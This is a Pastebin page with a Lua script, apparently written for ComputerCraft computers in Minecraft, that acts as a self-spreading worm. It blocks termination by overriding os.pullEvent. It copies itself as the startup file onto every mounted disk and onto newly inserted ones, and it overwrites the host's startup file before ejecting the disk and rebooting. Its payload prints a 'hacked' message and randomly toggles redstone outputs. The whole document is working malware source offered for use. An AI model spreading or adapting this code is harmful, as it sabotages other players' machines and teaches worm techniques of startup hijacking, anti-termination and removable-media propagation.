Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- tSides = {"front", "back","left","right","top","bottom"}
- function payload()
- print("YOU HAVE BEEN HACKED BY MR. BACON!")
- iRand = math.random( 1, #tSides )
- bOn = true
- if (math.random( 1, 2 ) == 1) then bOn = false end
- rs.setOutput(tSides[iRand],bOn)
- return false
- end
- if shell.resolve( "." )=="" then
- for index,value in ipairs(tSides) do
- if disk.getMountPath(value) then
- shell.run("cp", "startup", disk.getMountPath(value) .. "/startup" )
- end
- end
- bExit = false
- while not bExit do
- bExit = payload()
- event, param = os.pullEvent()
- if event == "key" and param == 41 then
- bExit = true
- elseif event == "disk" then
- shell.run("cp", "startup", disk.getMountPath(param) .. "/startup" )
- end
- end
- shell.run("/startup2")
- else
- if not(fs.exists(shell.resolve("../startup2"))) then
- shell.run("cp", "../startup", "../startup2" )
- end
- shell.run("cp", "startup", "../startup" )
- for index,value in ipairs(tSides) do
- if disk.getMountPath( value ) == shell.resolve(".") then
- disk.eject(value)
- os.reboot()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement